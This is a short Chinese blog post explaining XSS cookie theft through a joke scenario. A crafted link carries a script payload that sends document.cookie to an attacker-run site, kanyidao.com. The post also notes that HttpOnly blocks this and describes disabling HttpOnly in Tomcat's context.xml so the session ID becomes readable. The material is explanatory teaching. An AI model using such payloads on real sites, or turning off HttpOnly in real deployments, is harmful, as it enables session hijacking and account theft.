xss攻击之js获取请求头的sessionid

XSS攻击情景:

枸杞哥和人参佬都就职于打不倒企业,他们是铁哥们。枸杞哥经常浏览一些不可描述的网站(比如yellow.com),而且买了大会员。

人参佬也想看,但是没有资源,也不好意思问枸杞哥要。好在他技术够好,他自己建了一个砍一刀的网站(kanyidao.com),表面上是砍一刀的优惠信息,实际上是用来收集其他用户的cookie的。

一天枸杞哥在浏览的过程中,收到了一封来自人参佬的邮件,邮件说让枸杞哥帮忙砍一刀,并附上了链接

http://www.a.com?content=<script>window.open(“www.kanyidao.com?param=”+document.cookie)<script>

枸杞哥二话不说,马上就点击链接,打算给人参佬砍一刀。看完之后枸杞哥又去浏览了。但这个时候枸杞哥浏览yellow.com的cookie已经发送到kanyidao.com了,因此人参佬可以拿着这个cookie去访问yellow.com,相当于白嫖了一个会员。

说明

sessionid会存在cookie当中,名称为JSESSIONID。但是当设置了HttpOnly属性时,通过document.cookie就不可以取到Cookie的JSESSIONID了

Tomcat返回响应时sessionid默认会带上HttpOnly参数,可以通过修改tomcat/conf/context.xml的来设置不带上HttpOnly参数,这样document.cookie就可以拿到cookie里面的sessionid了
在这里插入图片描述

你可能感兴趣的:(网络安全,网络安全)